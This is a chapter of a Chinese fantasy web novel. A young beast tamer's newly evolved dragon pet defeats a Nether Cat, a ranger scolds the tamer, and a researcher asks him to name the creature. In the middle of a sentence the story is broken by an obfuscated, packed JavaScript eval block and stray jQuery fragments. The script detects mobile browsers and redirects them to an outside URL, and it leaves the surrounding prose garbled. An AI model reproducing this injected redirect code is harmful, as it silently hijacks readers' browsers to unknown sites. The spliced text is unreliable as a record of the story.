远大的目标是定下了,但问题来了,他们现在是在哪来着?
宗穆瞅着这山这树这草,只觉四面八方无一不是路,好像全都可以走。
通俗一点讲,他迷路了。
不仅如此,他的手机还不在身上,不知道是什么时候落的,也不知道落哪了,反正向外求助的路是断了个干净。
靠自身人体导航?
宗穆很有自知之明,靠他带路,他们就别想回城了。
他将希望的目光放到云仔身上,而云仔歪了歪头,从喉咙溢出了一个疑惑的气音。
找路,它吗?
别管了,死马当活马医,反正宗穆觉得自己真不是带路这个料。
好吧。
在御兽师的殷切期望下,云仔也只能扛起大旗,嗅了嗅空气中的气味,没多久就寻了个方向往前走。
宗穆大喜过望。
他就知道,他家云仔再靠谱不过!
他非常信任地迈开脚步跟了上去,踩过厚厚的落叶,发出“沙沙”的轻响,无意中惊走了一群藏匿起来的虫兽飞鸟。
也许让它们畏惧而选择退避的并不是他。
走了半天,宗穆隐隐觉得不对。
他发现,云仔前进得十分果断,仿佛有一个目标。它在前进的途中,会不时地抬头轻嗅,然后快速调整自己的方向。
并且,伴随着距离的拉长,它的速度越来越快,情绪也越来越兴奋。
这不像是找路,倒像是……
果然。
当瞧见不远处那个黑色的身影时,宗穆心中的猜测终于尘埃落定。
这是来寻仇来了!
那枝头上正叼着云雀准备下树的黑猫,不是那只攻击过他们的幽冥猫,又是谁?
宗穆确定自己没认错,因为对方显然也认出了他们,反应颇有些惊疑不定。
幽冥猫瞪大了眼睛,它当然记得前不久那次失败的狩猎,也嗅出了对面那人类熟悉的气息,但是……
它忌惮地盯着那道白色的身影,不明白为什么对方在这么短的时间内,气息变化如此之大?
它有点想逃了。
对在野外生存的魔兽来说,逃跑可不是什么可耻的事情。
只见它身体下压,爪尖有冰冷的寒光掠过,在云仔眯起眼睛严阵以待之际,它竟然直接抛弃猎物,往反方向逃走了?!
第一次遇到这种情况的云仔大惊失色。
它本能地转头去寻求自己御兽师的意见。
对上它的目光,宗穆也先是一怔。
说实在,他其实没有想到,云仔会带他来找这只幽冥猫。
坦白来讲,就算这只幽冥猫差点置他于死地,但随后发生的一大堆事情让那一刻濒临死亡的恐惧根本没在他脑海里留下多深刻的印象,而他也完全没想过,还要来找这只幽冥猫“报仇”一事。
可是,这不代表,它攻击他这件事就不存在过。
宗穆缓缓吐出一口气。
是的,既然云仔带他找到了它,就说明,云仔是想为他、也为自己出这一口恶气的。
而作为御兽师,他有责任回应自己宠兽的愿望!
“这应该算是蜕变后的初战吧……”
宗穆自言自语了一句,闭了闭眼,再睁开,已是一片沉静。
他做出了判断,此战,该战!
“云仔,拦住它,使用空气斩!”
云仔张开双翼,翅膀发亮,在高空划出两道锐利的弧线,数道泛着白光的斩击便破空而出,如弯刀丝滑地斩断了数棵大树。
伴着树干倒下的轰隆巨响,幽冥猫逃跑的路径被隔断,不得不转过身来直面来找它算账的敌人。
它弓起身体,喉咙里滚出威胁的闷吼,金色的兽瞳死死锁住空中的对手。
逃不掉,便只有战!
“喵——”
它高昂地叫了一声,身形化作一道残影窜出,又在奔跑之中再分裂出两道虚影,从三个方向同时朝云仔进攻。
要躲吗?
不用。
要判断谁才是它的真身吗?
也不用。
只有弱者才需要考虑战术,对于强大的一方来说,直接火力压制就是了!
宗穆冷静地下令:“火焰旋涡。”
云仔仰天发出一声咆哮,橘红色的火焰顷刻从它口中喷涌而出,形成一个以它为中心的巨大漩涡,带着灼热的气浪飞快向外推进,将幽冥猫的三个影子都毫不留情卷入其中。
“喵!!!”
浑身毛发都被烧焦得厉害的幽冥猫凄惨地从高空重重跌落,它试图站起,却没有任何力气。
仅仅只是一击。
就连发出指令的宗穆,都没有想到胜负会这么快就被揭晓,说真的,这简直轻松到不可思议!
是幽冥猫太弱了?
可它前不久几乎将他和云仔逼到了死处。
所以,这只能是……
宗穆愣愣地和同样惊呆了的云仔对视,彻彻底底意识到,他们是真的脱胎换骨又浴火重生。
怦、怦、怦。
胸腔里鼓动的心跳声近乎震耳欲聋。
宗穆舔了舔干涩的嘴唇,有点不可置信,又有点心潮澎湃。
他们……赢了!
胜利的果实毫无虚假,三年、足足三年的沉寂,记忆里那些数不清的惋惜和叹息,那些明里暗里不曾停止的嘲笑和讥讽,都在这一刻,真正随风散去。
“云仔,我们赢了!”
宗穆再也按捺不住激动的心情,大声地对云仔说,而云仔也回了他一个足够轻柔的低吟。
啪啪啪!
一阵突如其来的掌声打断了他们真情流露的情感交流,一个陌生的中年人缓步从山林中走出,肩上站着只小巧可爱的棕栗鼠,笑眯眯地说:
“小伙子,宠兽实力不错嘛,哪个高中的,今年肯定能在联赛拿到个好成绩。”
宗穆迟疑了一瞬,问:“您是?”
中年人好脾气地回答:“我是负责巡护这片区域的护林员,小伙子,你能告诉我,你是怎么出的城门吗?”
宗穆……不开玩笑,他当时恍惚间回忆起了上辈子读高中的时候,翻墙回校正好撞见教导主任那一刻绝望的心情。
好消息,他碰到认路的人了;坏消息,对方要见他的家长。
在宗穆颤颤巍巍地告诉中年人他其实是一名大学生后,很明显看到了对方眼底的诧异,但中年人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020758|178509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
表示,他仍需要接受批评教育。
在和云仔一起麻木地看了三小时安全教育视频后,他们蔫蔫地被来接他们的夏念慈提走。
在通知辅导员还是通知夏念慈之间犹豫了半天的宗穆,最终还是喊了和他年纪相差不大的夏哥。
夏念慈瞥他一眼:“看样子,你们的收获不少。”
宗穆下意识点完头才吃惊:“夏哥,你怎么知……”
夏念慈淡淡地说:“我不是瞎子。”
宗穆被夏念慈这话一哽,尬笑了两声,不敢说话。
云仔的变化肯定瞒不住,但它为什么会发生这样的变化……宗穆一时半会还真编不出一个合理的原因。
而且他很明白,他随口胡扯的理由想瞒过夏念慈,那难度真有点大。
秉持着“别人不问他不说,别人一问他惊讶”的原则,在夏念慈开车回研究所的路上,宗穆一直安安静静装哑巴。
但研究员的想法就是与常人不同。
夏念慈根本没有问宗穆过程的想法,他寻求过宗穆的意见,带着云仔自顾自做了一堆检查和测验后,得出结论:
“强大的火系和光系属性的灵物,保底达到王级能量水平。有意思,这种级别的灵物出现在魔城附近,那些高级魔兽竟没有一丝反应,看来……”
宗穆小心肝一颤,战战兢兢地问:“夏哥,看来什么?”
夏念慈没说,但宗穆总有种直觉,他夏哥就算没猜出全部,也看穿了大半。
对此,宗穆选择摆烂。
他夏哥是什么人物?那可是天才中的天才,智商远超他等凡人,他瞒得过才怪了。
只要夏念慈不明说,宗穆打定主意装傻到底。
不过夏念慈对他的奇遇不感兴趣,只盯着模样大变的云仔,遗憾道:“只有这一种途径吗,没有普适性的话,应用价值实在不大。”
不等宗穆想到话语接茬,夏念慈就转移了话题,道:“恭喜。”
“灵能值七万八,堪比士级高阶魔兽,但考虑到它刚进化不久,对体内属性能量和技能释放都不熟悉,真实战力应该在士级中阶左右。”夏念慈顿了一下,问,“你应该明白,这对比的是野外魔兽吧。”
宗穆点头,御兽师精心培养的宠兽实力往往能压制同阶魔兽,这是常识。
等等,宗穆忽然意识到不对,那个护林员之所以在听到他是大学生时表情那么奇怪是因为……
他神情凝固了。
他拿士级打仆级,赢了还这么高兴,这和拿大炮轰蚊子还自以为自己很牛逼有什么区别?
要是他是护林员,高低得私底下蛐蛐一句,这大学生脑子没问题吧?
宗穆眼前一黑。
就在他努力安慰自己不要在意之时,他听到夏念慈问:“你想好给它取个什么名字没?”
什么?
宗穆险些以为自己听错了。
夏念慈解释:“龙系、光系、火系的新种类魔兽,你作为它的御兽师,有资格为它取名。”
这样啊……
宗穆看着云仔,一个名字骤然闪现在他的脑海,他怔了下,低声地念出了那几个大字:
“炎冕圣龙……它的名字,是炎冕圣龙!”